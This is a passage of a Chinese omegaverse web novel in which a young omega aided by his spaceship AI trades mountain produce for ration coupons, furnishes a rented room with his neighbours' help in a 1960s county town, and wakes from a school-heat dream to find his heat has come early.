好家伙,三个大竹筐装满了野生蘑菇,是山上新鲜摘下来的山货——各式各样的野生蘑菇,鸡枞、白菇、松茸等,都是很常见的蘑菇品类,无毒能吃。 另一个竹筐里全是地皮菜。 最后是熟悉的刺莓子,上面还带着水珠,看起来饱满透亮,酸甜汁多,让人看着便食欲大开。 二流子男人吞吞口水,默默把每个竹筐上的藤蔓绿叶重新铺好盖好。 楚虞黑人问号脸,“看了半天,你一个都不买吗?” “当然要买!小同志,你这些货我全部要了!你先说说具体要哪些票,怎么换?” 惊喜来的如此突然。楚虞激动搓手,“你先说说你有哪些票啊?” 二流子男人哼了一声,“工业券容易凑,我这里管够,你想要几张?” “我要五张工业券。”楚虞补充,“还要换布票,或者粮票也行。” “布票就别想了啊,到处都缺。” 当着楚虞的面,二流子男人直接掏口袋,一层又一层的手绢仿佛剥洋葱一样打开,露出花花绿绿的票券。 “哇。”楚虞配合赞叹。 二流子男人炫耀,“也就是你遇上了我,你找别人打听打听,黑市上找谁能换票?当然要找我蔡二哥。” 楚虞恍然大悟,懂了,原来是个票贩子! 蔡有桩露出看似老实的憨笑:“小同志,我跟你算算账啊,别说我坑你,你这三筐野生蘑菇看着多,但它不压称啊,我给你算五张工业券,再加上两斤粗粮票,行不?” 楚虞不大明白这样的换法有没有吃亏。 008冷哼一声,悄悄提醒,“他故意坑你呢,咱们蘑菇这么多,尽管大胆喊价,粗粮票改换八斤细粮票。” 楚虞秒跟:“五张工业券,八斤细粮票。” “八斤!你不如大街上抢票去!” “那就七斤,不能降了!”楚虞晃了晃竹筐掂量重量,“你别当我好糊弄,我采的野生蘑菇又大又新鲜,品质好得很,你上哪儿能一口气摘到这么多?” 要知道他去的深山距离兴安县相当远,几乎跨省了,能称作原始森林无人区,真正意义上的荒无人烟,猛兽横行。 普通人哪里敢为了这点不值钱的山货进去冒生命危险? 因为有008和飞船保驾护航,楚虞才敢去深山区大肆扫荡,正因为如此,他的山货品质相当好,拿去给上级送礼都不虚的。 楚虞心里有底气,“你再压价,我就不卖了!” 这句话出来,蔡有桩眨了眨眼,“你懂行啊?” 楚虞冷冰冰回答:“我懂!” “……”蔡有桩心虚地摸了摸鼻子,“那行,五张工业券,七斤细粮票,这三筐野生蘑菇就这么换。至于那地皮菜和刺莓子就不大值钱了,山上随处可见,给你两斤粗粮票,行不?” 楚虞摇头,“不行,我的地皮菜和刺莓子各自都有十几斤重呢,山货是不值钱,但分量够多,至少要换五斤粗粮票!” “三斤。” “五斤。” “三斤半行了吧?” “五斤。” “四斤半。” “五。”楚虞寸步不让。 蔡有桩简直服气了,“行行行,就换五斤粗粮票。” 粮票对他而言不算什么,这些山货更值钱,他自己转手给靠谱的兄弟们分开售卖,充当二道贩子,估摸着这里面能挣不少钱和票。 也就是楚虞初来乍到没门路,只知道在火车站黑市混,殊不知还有其他更来钱的零散渠道呢。 蔡有桩决定掏粮票,买了! 楚虞趁机道:“我这五个竹筐你也一块要了吧,不然你怎么搬走呢?多给一张工业券,这些筐都送你了!” 蔡有桩:“……” 楚虞开开心心收了票,一共六张工业券,七斤细粮票,五斤粗粮票。 让人意外的是,这次换到的粮票都是兴安县本地粮票,没有一张是全国粮票。 不过其中有五张半斤的细粮票,上面写了本月月底过期,过期了就要作废。 楚虞蹙眉。 蔡有桩忙不迭解释,“这不是还没过期吗?你拿去粮店赶紧用了,或者下馆子吃两顿就没了。” 也行,楚虞勉勉强强接受了。 五个竹筐太多太重,蔡有桩一个人搬不动,楚虞干脆帮忙送货上门,撸起袖子,面不改色抄起了最重的三个竹筐。 “走吧,你家在哪?” 蔡有桩难以置信地看了又看楚虞两条细胳膊,这力气有、有这么大吗? 他默默拎起剩下两个同样沉甸甸的竹筐,走在前头带路。 心想难怪楚虞一个人初出茅庐就敢出来混黑市,一力降十会,就算倒霉地碰上了黑吃黑也能安然脱身。 不过,人都到他家门口了,是不是—— 仿佛猜到了他心底在想什么,楚虞微笑警告:“我哥就在附近,劝你不要打什么歪主意,我自己力气就这么大了,我哥更高更壮力气更大!” 蔡有桩无语望天:“……知道了小兄弟,咱们道上也讲究规矩呢,没那么多丧良心的。” 那谁知道呢。楚虞白他一眼,帮忙把货送到宅院大门口,潇洒地挥挥手,扭头就走。 008夸他,“小主人真棒!” 楚虞也觉得自己很棒,“他是票贩子,以后我可以直接找他换票了,反正他家住哪我都知道了。” 008停顿一下,“那啥 ,那应该不是他家,外面看着唬人,里面啥都没有,就是个烂瓦房破院子。” 楚虞:“……” 楚虞生气,人和人之间果然毫无信任! “小八,你在天上帮我盯着他,找到他住哪,以后我要到他家里亲自换票!” “收到,008保证完成任务。” * 凑到了足够的工业券,楚虞没再耽搁,直奔矿区供销社。 售货员对他那张脸有深刻印象,“小同志,你又来啦。” 楚虞笑笑,“这次我要三个大号竹筐,麻烦你帮我摞一块!” “行。” 买了竹筐,楚虞拿出采买清单,直接交给售货员,不太有底气地说道:“你能帮我看看这上面哪些东西不要票也能买吗?我手里只有工业券。” 售货员是个年轻女孩,文化水平初中毕业,当然也识字,随意瞄了一眼采买清单,脸色诧异。 “你要买这么多东西啊?” “是,”楚虞和她解释,“我从外地搬过来的,刚进咱们淮山二矿工作,这两天在附近租了个房子,房子里什么都没有,要置办好多东西……” 听他这么讲,售货员倒是能理解了,“你是咱矿上新来的呀?我就说以前没见过你。” 楚虞佯装腼腆笑笑。 售货员忍不住看他一眼,他模样实在好看,看起来年纪又小,还是矿上新来的……不知道是正式工还是临时工了? 回头打听打听。 她笑眯眯自我介绍:“小同志,我叫蒋小草。” 楚虞愣住,“我在矿上认识一个叫蒋小花的。” “那臭丫头你都认识了,”蒋小草语气熟稔,“我两是双胞胎,但长得不像,我是姐姐她是妹妹,她比我有出息,考进了矿上财务科当会计,我呢,就只能在供销社这边混日子了。” 最后这句话只是说的谦虚。 供销社的售货员岗位也是个香馍馍,铁饭碗,又体面,适合女孩子干,但凡有关系的人都想挤进来呢。 楚虞很上道,“在供销社也很好了,铁饭碗呢!” 蒋小草听得高兴,“你还没说你叫什么名字呢?” 楚虞连忙自我介绍,“楚虞,翘楚的楚,虞是霸王虞姬——” “我知道,虞美人嘛,倾国倾城。” “……”楚虞红了脸。 他的名字是福利院院长后来给他起的,一开始他没有名字,只有编号007,代表他是这家福利院成立以来第七个捡回来的弃婴,人人都喊他小七。 后来他上了学,院长觉得小七的名字不够正式,这才给他正儿八经起了一个好听的名字。 既然两人认识了,蒋小草不见外道:“楚虞同志,以后你要买东西就来这,要什么稀缺东西提前说一声,比如白色解放鞋这种比较抢手的货,我可以帮你提前留货。” 楚虞嗯嗯点头。 蒋小草这才开始仔细看他的采买清单,“搪瓷盆,毛巾,肥皂……你刚说你有工业券对吧?买搪瓷盆要工业券呢。” “对,”楚虞立马掏出票券清点,“我一共攒了七张工业券。” “那搪瓷盆就能买,其他不要票的,唔,我尽量给你看看。” 蒋小草动作麻利,按照采买清单上的顺序,把不要票的东西都给他一一找出来。 这期间她抽空问楚虞,“你带票证本了吗?买牙膏的话,我要划掉本子上的当月份额。” 那应该就是副食本了。楚虞连忙回答:“带了带了。” 蒋小草接过崭新的副食本,打开第一页,就帮他划去了牙膏的当月份额。 楚虞每月只有半管牙膏的份额,一管牙膏没法拆半卖,因此,翻到第二页,下个月的半管牙膏份额也被划掉了。 “……”还能这么操作呢。楚虞表示见世面了。 顺利拿到一管巴掌大的中华牙膏,包装是经典的红黄配色,铅锡管,管口是旋盖式的金属盖。 蒋小草叮嘱他,“这牙膏用完了别扔啊,牙膏皮攒起来能卖钱呢。” 楚虞:? 邪门了,破牙膏皮还能卖钱? 19.第 19 章 “当然能卖钱了,你拿去废品收购站,一个牙膏皮能卖两分钱,两分钱都能买张饼子吃了!” 蒋小草语气恨铁不成钢,劈头盖脸地数落他,“你们男生就是不会过日子,平时在家肯定不操心这些,进了厨房,酱油醋瓶倒了都不知道扶一下……” 楚虞悻悻,一时间没敢吱声。 蒋小草边念叨边给他找合适的锅碗瓢盆,“我这儿不卖锅,要买铁锅烧水壶的话得去隔壁五金劳保店。你打算要几个碗呐?多大的?碗筷瓢盆就这几样,你挑挑。” “还有洗脸洗脚的搪瓷盆,你也挑两个喜欢的图样,有红底大花的,也有鸳鸯戏水的……” “凉席,凉席不要票,能买。” “你不要扫帚吗?要打扫房间,扫帚簸箕总得买吧,不贵,一套下来五分钱。” “鸡毛掸子也得来一个……” 蒋小草絮絮叨叨,方方面面都给楚虞考虑全面了。 楚虞几乎快挑花了眼,挑了三个白瓷碗,两双木筷,两个用来盛饭盛菜的天蓝色搪瓷碗。 三个摞起来的搪瓷盆,专门挑了不同的图案方便区别,红底大花用来洗脸,荷叶粉花是洗脚盆,最后是鸳鸯戏水盆,用来平时洗衣裳。 虽然楚虞不可能亲自手搓脏衣裳,毕竟飞船上有配备全自动洗衣机呢。 牙刷牙膏搪瓷杯,一把木梳,藤编壳子暖水壶,雪花膏,蛤蜊油……等等,好像有奇怪的东西混了进去。 楚虞终于回了神:“你给我拿雪花膏干什么?” “你不要啊?雪花膏擦脸可好用呢。” “不要!”楚虞抗拒。 “那行吧。”蒋小草把雪花膏蛤蜊油撤下去,把东西理一理,终于开始给他算账了。 她掏出一把算盘,噼里啪啦的动静,“楚虞同志,我给你报价,你自己也算一算啊,三个竹筐两毛四,中华牙膏一管四毛八……” 搪瓷面盆,4.2元/个。 藤编壳子暖水壶,0.8元/个。 扫帚簸箕,5分钱/套。 鸡毛掸子,2分钱/个。 …… 乱七八糟各种加起来,一共18.69元,另外还要三张工业券。 楚虞算账算得头晕目眩,幸好有008帮忙,“对着呢对着呢,就是这个数。” 得知没算错,楚虞立马付钱付票。 蒋小草喜笑颜开,收了钱,帮忙把东西都放到竹筐里,“楚虞同志,下次再来啊!” “……”还是尽量不来了吧。 花钱如流水啊。 楚虞心有余悸地和她挥挥手,背着沉甸甸的竹筐,脚步沉重离开供销社。 接下来去隔壁的五金劳保店。 一个烧水壶,两口巴掌大的铁制小锅,花了足足二十三块巨款,最后四张工业券也消耗殆尽。 紧接着楚虞马不停蹄回去飞船上,没忘记带了一筐刺莓子,以及一小筐野生蘑菇和地皮菜,当作给邻居崔家的见面礼。 008殷切叮嘱他,“小主人记住,一定要和楼下的崔家处好关系,以后楼上楼下就是邻居了,低头不见抬头见,以后你需要人家帮忙的地方多着呢,知道不?” 旁的不说,去粮店排队买米面,指望楚虞凌晨五点起来,还不如指望崔家帮忙顺手买一下呢。 008道:“别看崔家大地主成分不好,008连夜观察过了,这家人的家庭氛围很不错,一大家子非常兴旺,热闹!” 能有多兴旺、有多热闹呢? 楚虞带着一头问号,背着大筐,胳膊上挂满了小筐,回到了新延路花园洋房。 见他终于露面,楼下崔家热情招呼,崔奶奶第一个帮忙卸竹筐,“哎呦买了这么多东西?都要往楼上搬?” 楚虞有气无力点点头,他在附近无人的小巷里下了飞船,仅仅走了一小段路,就已经热的不行了。 正午太阳高照,晒得地面仿佛都是烫的,空气中热浪滚滚。 楚虞一屁股坐到了崔家房门口花坛边上,接过崔奶奶递来的一把扇子,热得狂扇凉风。 太热了太热了。 他现在终于知道地球上的炎炎盛夏有多可怕了。 崔奶奶只觉一阵好笑:“小楚同志,先坐下歇歇,凉快凉快,这些竹筐你别管了,让我家那四个臭小子帮忙搬就成。” “那怎么成?” “没事儿。”崔奶奶说罢,就见屋里窜出来四颗虎头虎脑的圆脑袋,一水的小男孩,眉眼相似,脸蛋儿晒得黑黝黝,个头从高到矮,依次排开。 楚虞:“……” 楚虞目光颤抖,震惊地望了过去,确实如008所说,非常兴旺、热闹。 这、这是不是有点太能生了。 四个小男孩懂事地打招呼,“楚虞哥哥,你歇着,我们帮你搬竹筐!” “我叫大蛋!” “二蛋!” “三蛋!” “四、四蛋。”最小的小男孩说话还不利索,看着三四岁大,长得虎头虎脑,讨人喜欢。 楚虞喜爱地摸了摸最小的四蛋脑袋,立马去翻竹筐,把专门准备的见面礼拿出来,“给,吃刺莓子。” 看到黄噔噔的刺莓子,四个蛋眼睛一亮,目光一致看向崔奶奶。 崔奶奶客气道:“小楚同志,这东西你自己留着,给他们吃就是糟蹋了。” 楚虞笑笑,把另一小筐的野生蘑菇和地皮菜也拿了出来,“这是我专门给你们拿的,不值钱,都是山里采来的……” 崔奶奶连连摆手不肯收。 楚虞才道:“一会儿打扫房间,我也需要大家伙帮忙呢……” 崔奶奶笑了,“这有什么?都是楼上楼下的邻居,应该的应该的。” 来回推辞几次,两个竹筐才送了出去。 楚虞心累地擦擦脑门上的汗,这就是他不爱和人打交道的原因,社会上的人情社交简直太难了! 上去二楼,拿钥匙开了门,灰尘顿时落了满头满脸。 楚虞打开两边的窗户,加强通风,同时撸起袖子,戴上口罩,拿出扫帚——开始哗哗扫地大扫除。 很快,楼下的崔家也上来帮忙了。 “楚虞同志,咳咳!” 崔奶奶被扬起的灰尘呛得连连后退咳嗽,“我带了拖把和抹布,让大蛋他们给你擦窗户拖地。” 大蛋人小却机灵,进去接了一盆水,给地上洒水,“楚虞哥哥,你先别扫了,灰尘太大,咱们直接拖地!” 楚虞也被呛得想死,闻言立马扔了扫把,“行,先拖地。” 有了崔家众人的帮忙,楚虞压力骤减,累得直喘气中场休息的时候,坐到光秃秃的床板上,看四个蛋勤快地给他擦柜子擦窗户。 期间也聊天,楚虞一边擦洗卫生间镜子一边语气惊叹地问崔奶奶,“崔奶奶,你们家有几口人?四个蛋都是崔旭的吗?” 崔奶奶笑了,“阿旭还没结婚呢,他找谁生娃去?” 008先前说崔家人口兴旺、热闹,不是吹的。 崔奶奶生了两儿一女,长子崔衡,次子崔旭,最后是小女儿崔静。 先是崔衡,崔衡结婚早,结婚对象是同样住在这条街上的资产阶级成分的周家的周秀英,两人青梅竹马,感情极好,这些年陆陆续续生了四个蛋。 惹的崔奶奶是高兴又不高兴,高兴的是有了四个虎头虎脑的亲孙子,不高兴的是养起来压力也大,每个月都要算计家里的粮食够不够吃。 好在崔衡和周秀英都有工作,一个是发电厂的电工,靠技术吃饭,另一个是县医院的妇产科医生,给产妇接生出了名的,甚至能上手操刀剖腹产,同样靠硬本事吃饭。 所以成分好不好的,都顶不住技术/医术过关,单位需要两人发光发热,这些年就这么顺顺当当稳定下来了。 但轮到崔旭,运气就不大行了,大龄待业无所事事,直到去年卖了二楼的三间房,拿到三百块卖房钱,直接去医院后勤部找到即将退下来的老职工,买了个铁饭碗工作。 反正这年头的工作岗位,能直接给子女继承,也能转卖了换钱,卖工作的人不少,单位上头睁一只眼闭一只眼,管不了也不想管。 最小的崔静,今年二十岁出头,因为自幼身子骨瘦弱,上学晚,所以如今才在省城学校读两年制中专护士,下个月毕业回来,还不知道能不能顺利分配到县医院工作呢。 楚虞了解过后,叹为观止。 008同样赞叹,“大地主成分诶,这一大家子竟然混得都不错,就是可惜了,现在还能安安稳稳的过日子,到了66年怕是躲不过。” 楚虞笑容消失:“……” 小八,请闭上你的乌鸦嘴! 20.第 20 章 历经三个多小时,在崔家众人的帮忙下,楚虞的房间终于焕然一新,窗明几净,一尘不染。 差不多当晚就能拎包入住了。 然而问题来了,房间里有现成的双人大床,但床板上光秃秃的,没有任何配套的床褥枕头以及床单被套等等。 置办这些东西需要大量的布票棉花票,而楚虞一时半会搞不到足够的票。 想来想去,没办法了,只能先把买来的竹制凉席暂且铺到床板上。 崔奶奶看得纳闷,“小楚同志,你没带铺盖吗?或者家里还没给你寄过来?” 楚虞铺着凉席,随口道:“我家里就剩我一个了,没有别人,不会有人给我寄包裹。” 在此之前,楚虞曾经想过要不要给自己捏造两个远在上海的爸妈或者是远房亲戚,但仔细一想,发觉时间久了行不通。 逢年过节一定会有人问他要不要回上海探亲,又或者纳闷他怎么完全不联系上海那边的家人? 众所周知,说了一个谎言,以后就要用无数个谎言去圆谎。 倒不如一劳永逸,直接把自己捏造成一个无父无母无任何亲友的孤儿,这也是他从小到大更习惯的身份。 楚虞半真半假的解释,“我很小的时候就没了爸妈,家里也没其他亲戚了,是我爸的一个忘年交战友好心收养了我,他老人家心疼我,对我也好,没让我缺衣少食,就是他家里难免有点儿意见——” 说到这儿,楚虞脸色陡然变得沉重,语气低落,“他老人家上个月刚过世……” 剩下的,就没必要说那么详细了。 崔奶奶唏嘘脑补,心想肯定是那家人看在老爷子的份上忍了又忍,后来老爷子走了,这一家人巴不得把楚虞这个包袱甩掉呢。 难怪他选择离乡背井,从上海迁户到兴安县,孤身一人,也是个苦命孩子。 崔奶奶看向楚虞的目光越发怜爱。 然而视线挪移,看到硬邦邦的床板上只铺了一张竹制凉席,崔奶奶实在看不下去。 “小楚啊,你这么铺床不顶事,硬邦邦的怎么睡呢?你等等,我下去给你搬两捆稻草,把稻草厚厚一层铺上去,好歹软和些……” 楚虞呆滞,睡稻草? 见他这脸色,崔奶奶就知道他没睡过稻草,给他解释,“你也知道布票棉花票不好攒,扯布做衣服都不够呢,哪来那么多的票去买床褥子棉花被?” “我们家就给床铺最下面垫了一层稻草,厚实软和,睡起来舒服着呢。就是每年都要勤快些,年年换新的稻草……” 说罢,崔奶奶就要出门下楼,热情帮忙给楚虞搬稻草。 楚虞连连摇头,惊恐阻止,“不用不用,崔奶奶,不用搬稻草,我很快就能买到新的棉花被!” 崔奶奶满脸不相信,准备劝他几句,就见门口出现一个人影。 是刚刚下班回家的崔旭。 看见崔旭,楚虞脑袋顿时灵光一闪,“对了,谢磐石说这阵子他不在兴安县,让我睡他的床!我可以暂时把他的床铺被子搬过来,这样就不用睡稻草了!” 崔奶奶诧异,“谢公安这么说吗?” 崔旭抬脚进门,闻言道:“谢公安在电话里是这么说过,可是你——” 你不是不愿意吗? 楚虞先前不愿意睡谢磐石的床,现在必须愿意了! 否则崔奶奶就要热情地给他床上铺稻草,他今晚就得躺在草垛子里睡觉,太可怕了。 楚虞立刻马上打断,“没有可是!崔旭同志,麻烦你把隔壁谢磐石的房间钥匙给我,我需要进去借用一下他的床铺被褥!可以吗?” 崔旭当然没有任何意见,任劳任怨下楼,给楚虞取另外两把钥匙去了。 三分钟过后,楚虞满脸沉重,拿着钥匙打开了隔壁的门,走进去,硬着头皮去搬谢磐石的床铺家当。 崔家众人挺有边界感,没跟着楚虞一块进去。 谢磐石不在场,楚虞很不愿意到处乱看,但走进房间随意瞄一圈,什么都能看个大概。 只见两间房连通,中间有一道门,楚虞走进来的这一间应该是客厅,布局很规整,黄花梨八仙桌,配套六把扶手椅,桌上有一套泡茶茶具。 左边靠墙,摆满了一排四门两斗的橱柜,像是用作收纳,将所有杂物都收了进去,以至于整个客厅看起来空空荡荡,缺乏生活气息。 楚虞克制地没有多看,迅速穿过两房之间连通的这道门,直奔卧室,第一眼看见好大一张床……! 由两张双人床拼接起来,床上同时睡五六个人都行。 谢磐石什么癖好啊,一个人睡这么大一张床? 楚虞满头问号,默默上前,摸了摸眼前厚实松软的床褥,看着还挺干净,他皱眉凑近床单勉强闻了一闻。 没有想象中男人的汗臭味儿,倒是意外地有一股干净清爽的肥皂味道。 行叭,连床带被搬走一半。 楚虞头一回干这种“偷床”事儿,很抱歉地对着空气低声嘀咕,“谢磐石同志,虽然你电话批准了让我睡你的床,但咱两确实不熟,我临时借用一下,你要是介意,回头我还你一套全新的!” 就在这时,008语气微妙,“兴许不用还呢。” 他很大可能以后是你老公。 楚虞呸它,“怎么可能不用还?不劳而获拿人家东西,你不要脸,呸!” 008:“……” 扛着一卷铺盖回到自己房间,楚虞终于松口气,往好处想,起码不用睡稻草了。 他把隔壁两间房的钥匙再度交还给崔旭,言辞凿凿:“这钥匙你拿回去,别放我这,我怕弄丢了。” 崔旭点点头:“那行,需要的话随时下来拿钥匙啊。” 楚虞心想绝对不会再有这种时候! 忙碌一整天没有顾得上吃饭,楚虞早已饥肠辘辘,和崔家说了一声外面还有事,转头便离开了花园洋房。 崔奶奶本想留他吃一顿饭,话都没来得及说出口。 到了街上,008提醒楚虞,“今天不是换了很多粮票吗?这次一口气多买几个菜,打包回去放飞船冷库里面,这样就不需要天天下馆子吃饭了。” 毕竟这年头经常去国营饭店吃饭,未免太招摇显眼了,什么条件啊,能支撑得起天天下馆子? 楚虞不是不明白这个道理,可是不买饭,学着在家开火做饭?要知道他连怎么给炉子烧火都没弄明白呢。 楚虞叹气,“既然打包饭菜,那我得回去把新买的搪瓷大碗带上,还有搪瓷饭盒。” 008差点忘记饭菜打包还要自带饭盒呢。 于是楚虞又扭头回去花园洋房,一口气冲上楼,又风风火火下来。 下楼出门时,在铁艺大门前,迎面撞见了一对陌生男女。 男人瞧着三十多岁了,勉强称得上英俊,皮肤被晒得黝黑;女人齐耳短发,鹅蛋脸,眼里透着聪明劲儿,一身干脆利落的气质。 “你就是楚虞同志吧?”男人自我介绍,“我是崔衡,楼下崔家的。” 楚虞反应过来,立马打招呼:“你好你好,我是楚虞,下午还听崔奶奶说起你呢。” 崔衡笑笑,“这是我爱人,周秀英。” 周秀英打量楚虞半晌,目光惊艳,“楚虞同志,你好!” 简单打过招呼,就算是认识了。 楚虞着急吃饭,“崔大哥,秀英姐,我还有事,咱们下次再聊!” 话音落下,他直接绕过两人,飞一般地冲了出去。 看着楚虞挺拔标志的背影,周秀英忍不住夸赞,“楚虞同志长的真好看啊。” 崔衡黑了脸,“走走走,回家!” 到了家,四个蛋蜂拥而上,夫妻两手忙脚乱抱儿子,“哎慢点慢点。” 大蛋喂水果,“爸,妈,吃刺莓子!” 崔衡低头看到黄澄澄的刺莓子,眉头紧皱,“哪来的?” 二蛋抢答:“是楼上的楚虞哥哥给的,给了一大筐呢。” 楚虞的一小筐刺莓子,落在小孩儿眼里,确实是很大一筐了。 除此之外,崔衡也看到了桌上摆的一筐野生蘑菇和地皮菜。 崔奶奶解释:“这都是小楚给的,说是想让咱们帮忙一块打扫卫生,这不,给了不少山货呢。” 崔旭吃刺莓子吃得停不下来,“就是不知道他从哪儿买的刺莓子,又大又甜又酸,好吃。” 四蛋生气,“二叔,你吃、吃了好多!” 崔旭没好气,拍拍小侄儿的圆脑袋,“二叔回头就去找楚虞打听打听,问问他究竟在哪里买的刺莓子,一定再给你多买点!” 崔衡捏捏眉宇,“所以你们和楼上新来的租户楚虞同志,相处的都挺好?” 崔奶奶评价:“好着呢,小楚人不错,而且他和谢公安认识。” 这一点崔旭就能作证,“谢公安让我把楼上三间房的钥匙都交给楚虞,这就说明两人关系很好很信任了。” 周秀英催促,“行了别操心了,楼上都不是咱们家的地盘了,管他住的是什么人呢?” 崔衡叹气,“还是要多问问,多了解了解,楼上楼下住的太近,白天咱们出门上班,家里就剩咱妈和四个孩子……” “小静不是快要毕业回来了吗?等她回来,让她在家多陪陪咱妈。” “怎么?她工作分配没下来?” 周秀英摇摇头,脸色不大好。 崔奶奶见状,把四个蛋赶到隔壁的房间去,不叫孩子们听到不该听的话。 崔静是崔家这一代唯一的女孩儿,因为自幼体弱,几乎泡在药罐子里长大,好不容易养大了,立住了,争气地考上省城学校学了护士专业。 如今眼瞅着她即 将毕业回来,崔家上下都愁着她的工作分配呢。 周秀英压低了声音,“消息刚出来,我们县医院今年招两个护士岗,小静专业对口,本来是有希望的,但听说……名额被上头的人内定了。” 崔旭气得拍桌,骂了句脏话。 崔衡也久久不言。 一家人说话的声音渐渐低了,商量着如何想办法让崔静进县医院。 * 兴安县国营饭店。 楚虞高高兴兴进去,前台的小丫头惊叹,“你又来啦。” 楚虞不大好意思地笑了笑,掏出自己带的三个饭盆,“是这样的,我家里要招待几个朋友,需要在店里点几个菜,急着打包带回去。” 原来是招待亲戚朋友,那多点几个菜,可以理解。 饶是如此,有了正当的借口,楚虞仍然没敢点太多,克制地点了两荤一素:红烧肉、尖椒炒肉丝、家常豆腐。 都特意强调点了大份量。以及三碗黄米饭。 最后结账时,楚虞把月底即将过期的两斤半细粮票优先用掉,另外付了五块八毛钱。 楚虞花钱买饭丝毫不心疼,但瞧着前台小丫头有点儿奇怪的脸色,他就知道自己短时间内不能再来这家国营饭店了。 好烦! 为什么下馆子吃饭都不能随便吃? 重新回到飞船上,楚虞愁眉苦脸,把打包来的饭菜进行分装,分成了未来七天的分量。 一天一顿饱饭。 七天后他可怎么办呐。 008提供了一个思路,“或许我们可以去隔壁县城的国营饭店?全国的饭店那么多,小主人坐飞船来去很方便哒。” 虽然说这年头出远门要开具介绍信,但伪造介绍信对008而言再简单不过。 唯一的问题,大概就是兴安县的粮票没法通用,得想办法换成全国粮票! 楚虞惊喜,“那简单,下次可以找蔡有桩,他不是二手票贩子吗?他一定知道怎么换全国粮票。” 解决了近期的吃饭难题,楚虞在飞船上吃饱喝足,吹着凉气歇了一会儿,这才在008的催促下,不情不愿地回到地面上。 今晚开始,他就要睡在花园洋房了。 盛夏的夜晚格外闷热,没有了飞船上的冷气空调,房间两边窗户全部大开,有凉爽的风吹了进来。 楚虞以为这一夜会很难入睡。 简单洗漱过后,他早早躺到了床上,闭上眼,呼吸间尽是清爽的肥皂香气,以及陌生的似有似无的男人气息。 这是谢磐石的床铺,当然会有谢磐石的味道。 对了,还有楚虞身上自带的玫瑰花香。 omega的玫瑰花香和来自男人身上的陌生气息彼此交缠,在这样的环境下,楚虞很快陷入梦乡,睡得昏天暗地。 这一夜,他做梦了。 也是这样闷热的夜晚,他在学校上着自习课,坐在课桌前愁眉苦脸写着作业。 忽然不知怎么回事,眼前天旋地转,他一下子握不住手里的笔,浑身酸软滑落到地上,身边的同学骤然变了脸,如狼似虎般扑了上来。 “……他发情了。” “好香,原来是玫瑰味儿的omega。” “可怜的omega,需要大家帮忙吗?”Alpha同学语气充满恶意。 “滚开!”楚虞惊恐大喊。 下一秒,七八个带班老师执着电击棍及时赶到,将蠢蠢欲动的Alpha们狠狠镇压。 “平时怎么教你们的?omega发情要远离,要第一时间上报老师!” “个个都急着扑上去,嗯,想干什么?毛长齐了吗就想去标记?”电击棍呲呲作响。 “Alpha真是一天不打贱得慌啊。” “……” 楚虞被温柔的beta女老师抱进怀里,全然陌生的生理反应和极致的惊吓恐惧让他浑身湿透,脆弱无助,宛若雨中颤抖不停的玫瑰花。 女老师声音温柔,“别怕,你是楚虞同学对吗?我知道你,A班只有你一个omega,只有你这样特立独行的omega报考了飞船巡航专业……” 她轻声哄着楚虞,同时另一只手干脆利落给他后颈打了一针抑制剂。 “这是你第一次发q期,你可能不大习惯,以后无论何时何地都要随身携带抑制剂,提前计算你的发q周期,知道吗?” “老师……” 楚虞仰起头,发出沙哑哽咽的声音,“如果没有抑制剂,要怎么办?” “要么咬牙扛过去,要么找个Alpha。” 到这里,楚虞梦醒了。 他疲惫地睁开眼,只觉喉咙干渴,浑身黏腻,像是出了一身热汗,让人很不舒服。 耳朵里传出008的惊恐尖叫声,“老天,你体温怎么突然上升了?” 21.第 21 章 楚虞后知后觉,摸了摸自己滚烫的脑门,“可能是房间里睡觉太热了,小八,这里没有空调。” 他语气满含抱怨。 008没敢吱声,惊恐地看着飞船大屏幕上体温探测仪的温度,上面显示着楚虞的体温正在一度、一度地缓慢向上攀升。 这不可能! 前几天它才算过,距离楚虞下一次的发情期至少还有一周呢。 008吓得立马查阅日历,怀疑自己记错了楚虞的周期——记录数据明晃晃的摆在眼前,没记错啊。 就算他处在性征发育期,omega的信息素极度活跃不稳定,下一次周期最早也该发生在五天后! 怎么突然提前了呢? 008急得团团转,怎么办怎么办,飞船上没有抑制剂! 楚虞浑然不知008着急发慌,他四肢酸软爬起床,伸手去够床头的水杯,拧开杯盖,仰头咕咚咕咚一口气喝完了水。 满满一大杯蜂蜜水,超过一升容量,就这么被他喝完了。 008很担忧地问他:“你感觉怎么样?” 楚虞眨了眨眼,没说话,忽然“啪”的一声用力拍打大腿,拍瘪了一只正趴在他腿上吸血的长腿蚊子。 008:“……” 楚虞刚睡醒反应有些迟钝,摸了摸身上至少七八个红肿的蚊子包,和他白皙温软的肤色对比,显得有些吓人。 一夜之间,被蚊子咬了好多个包。 但不知道为什么不痛不痒,可能是此时此刻他脑海里更多的感觉是燥热,干渴,犹如整个人站在炎炎烈日下被烘烤蒸发。 楚虞嗓音渐渐哽咽,委屈又烦躁,“小八,这里有讨人厌的大蚊子,还很热,我想回飞船。” 008能不答应吗? 它语气着急,“小主人别哭,先把衣服穿上,出门下楼,到附近巷子里去,008这就降落飞船让你上来。” 楚虞依照它的话去做。 这时候刚过凌晨五点钟,窗外的天空蒙蒙亮,天边一片灰白。 出了门,迎面便是凉爽的风。 按理说其实挺凉快的,没那么热,但楚虞仍然觉得燥热。 回去飞船上,008第一时间掏出信息素监测仪,给楚虞后颈上轻轻刺了一下,采集血珠,送进医疗舱进行分析。 楚虞:? 楚虞脸上露出迷惑表情。 这一套操作他很熟悉,以前每次经历发情期,在注射抑制剂之前,008都会立马采集他的腺体血样,记录下他当时的信息素波动数据。 问题在于,他并不觉得自己现在的状态像是发q期。 他只是觉得有些燥热,而且身上没有出现熟悉的令人脸红心跳难以忍受的生理反应! 鉴于008的判断从未出错,楚虞差点怀疑自己的感知出了问题——低下头,揭开自己的裤衩子认真看了一眼。 那一瞬间,008只觉有十秒钟的时间,眼前画面被迫马赛克。 马赛克消失之后,就见楚虞一脸后怕地松口气,“小八,你不要吓我!我没有支楞起来啊!” 008捂脸:“……倒也不必这么不见外。” 楚虞指责:“是你先吓我。” “行行行,你先说说,现在感觉怎么样?凉快下来了吗?” “还行吧,就是觉得热。”楚虞摸着仍然滚烫的脑门,嗓音微微沙哑,“我是生病发烧了吗?” 008淡定回答:“体温是有点高,但和生病发烧没关系,经008扫描,你体内的各项指标都在正常范围内——” 话说到一半,医疗舱发出“滴滴”声响,分析报告出来了。 楚虞看不懂密密麻麻的数据分析,008瞄了一眼,只见屏幕里的猫猫尾巴瞬间炸了起来。 ——要命,发情期还真提前了! “小八,是有什么问题吗?”楚虞纳闷。 